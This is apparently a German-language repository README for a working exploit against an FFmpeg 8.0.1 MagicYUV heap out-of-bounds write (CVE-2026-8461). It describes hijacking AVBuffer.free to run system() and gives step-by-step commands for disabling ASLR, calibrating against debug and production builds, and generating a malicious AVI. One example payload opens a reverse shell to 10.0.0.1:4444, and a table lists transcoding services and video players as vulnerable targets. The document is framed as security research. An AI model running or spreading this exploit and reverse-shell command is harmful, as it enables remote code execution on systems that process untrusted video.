
Funktionierender Exploit-PoC für FFmpeg MagicYUV Heap-OOB-Write (CVE-2026-8461) mit Autokalibrierungsskripten für Debug- und Produktionsbuilds, die Befehlsinjektion durch AVBuffer.free-Hijacking ermöglichen.
[!WARNING] Dieses Repository enthält einen funktionierenden Exploit-PoC für eine Heap-Korruptions-Schwachstelle. Es ist ausschließlich für autorisierte Sicherheitsforschung, CTF-Kontexte und defensive Analysen bestimmt. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
Betroffen: FFmpeg 8.0.1 MagicYUV-Decoder (libavcodec/magicyuv.c)
Primitiv: Heap-OOB-Schreiben → Hijack von AVBuffer.free → system()-Aufruf
magy_decode_slice() verwendet sheight (ungeklemmte Slice-Höhe) als Schleifengrenze für das Schreiben in die Cb/Cr-Ausgabeebene, allokiert den Puffer jedoch mit der geklemmten height. In der letzten Slice eines speziell präparierten Frames schreibt die Schleife über das Ende des allokierten Bereichs hinaus.
// magicyuv.c:291 — dst-Zeiger befindet sich bereits bei sheight×stride nach Pufferstart
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
dst[i] = get_vlc2(...); // OOB-Schreiben, wenn sheight > height
Der Out-of-Bounds-Schreibzugriff landet in einer anschließend allokierten AVBuffer-Struktur. Durch Kontrolle der geschriebenen Bytes wird AVBuffer.free mit der Adresse von system() überschrieben und AVBuffer.opaque mit der Adresse des Befehlsstrings auf dem Heap. Wenn der Frame freigegeben wird, ruft av_buffer_unref() system(cmd) auf.
Vollständige technische Analyse: Englisch · Chinesisch
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0 (ASLR deaktiviert — für Kalibrierung erforderlich)
Python-Abhängigkeiten: keine (nur Standardbibliothek).
sudo sysctl -w kernel.randomize_va_space=0
Debug-Build (mit -g kompiliert, z. B. aus Quelle mit --enable-debug):
python3 auto_calibrate.py \
--ffmpeg /path/to/ffmpeg-debug \
--avi /tmp/exploit.avi \
-o calibration.json
Produktions-Build (gestrippt, Shared-Library, z. B. apt install ffmpeg oder benutzerdefiniert --enable-shared):
python3 auto_calibrate_nosym.py \
--ffmpeg /path/to/ffmpeg \
--libpath /path/to/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
Der
--avi-Pfad muss zwischen Kalibrierung und Exploit-Auslieferung identisch sein. Eine Änderung der Pfadzeichenfolgenlänge verschiebt das Heap-Layout und macht die Kalibrierung ungültig.
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
# Debug-Build (statisch gelinkt)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -
# Produktions-Build (Shared-Library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -
# Systeminstalliertes FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -
Erwartete Ausgabe: Befehl wird ausgeführt, dann stürzt der Prozess mit corrupted size vs. prev_size ab.
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
-o /tmp/exploit.avi
Target FFmpeg binary
│
├─ Has debug symbols? (file ffmpeg | grep debug_info)
│ └─ YES → auto_calibrate.py
│
└─ Stripped / production
│
├─ Dynamically linked? (ldd ffmpeg | grep libavutil)
│ └─ YES → auto_calibrate_nosym.py
│
└─ Statically linked + fully stripped
└─ Neither script applies
(requires LD_PRELOAD malloc hook approach)
auto_calibrate_nosym.py funktioniert wie folgt:
av_buffer_create (immer in libavutil.so .dynsym vorhanden) ein, um die Cb- und Cr-Datenzeiger zu erfassen, ohne Quelltextsymbole zu benötigen.AVBuffer-Struktur zu lokalisieren und die system()-Adresse zu extrahieren.Der Exploit feuert, wenn das Ziel den Videoframe dekodiert (nicht nur prüft):
Um die Schwachstelle ohne Befehlsausführung zu demonstrieren:
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# stürzt ab mit: free(): invalid pointer oder corrupted size vs. prev_size
AVBuffer-Struktur innerhalb von 640 Bytes der Cb-Ebenen-OOB-Startadresse landet. Auf aarch64 platziert die glibc-Allokationsreihenfolge AVBuffer außerhalb dieses Bereichs (der benachbarte Chunk ist der ~10 KB große Cr-Puffer), sodass der OOB-Schreibzugriff ihn mit der aktuellen Frame-Geometrie nicht erreichen kann. Eine Portierung auf aarch64 erfordert ein Profiling des aarch64-Heap-Layouts und eine entsprechende Anpassung der Frame-Geometrie.kernel.randomize_va_space=0). Bei aktiviertem ASLR werden Heap-Adressen pro Lauf randomisiert, und die Kalibrierung ist nicht anwendbar. Ein Informationsleck-Primitiv wäre erforderlich, um dies auf ASLR-aktivierte Ziele auszuweiten.auto_calibrate_nosym.py: Erfordert ein dynamisch gelinktes FFmpeg mit zugänglicher libavutil.so (entweder in Systempfaden oder über --libpath).| Datei | Beschreibung |
|---|
exploit_cve_2026_8461.py | Exploit-AVI-Generator — erstellt den bösartigen MagicYUV-Bitstream |
auto_calibrate.py | Automatische Kalibrierung für Debug-Builds (benötigt -g-Debugsymbole) |
auto_calibrate_nosym.py | Automatische Kalibrierung für Produktions-Builds (gestrippt, Shared-Library) |
CVE-2026-8461_Analysis_EN.md | Vollständige Schwachstellenanalyse (Englisch) |
CVE-2026-8461_Analysis.md | Vollständige Schwachstellenanalyse (Chinesisch) |
ffmpeg_prod | Gestripptes Produktions-FFmpeg 8.0.1-Binary für lokale Tests |
| Aufruf | Löst RCE aus |
|---|
ffmpeg -i evil.avi -f null - | Ja |
ffmpeg -i evil.avi -o out.mp4 | Ja |
| Web-Transcodierungsdienst (libavcodec-Decodierungsschleife) | Ja |
| Videoplayer, der libavcodec verwendet | Ja |
ffmpeg -i evil.avi (keine Ausgabe angegeben) | Nein — Prozess bricht ab, bevor av_buffer_unref feuert |
ffprobe evil.avi | Nein — Nur-Prüfpfad, keine vollständige Dekodierung |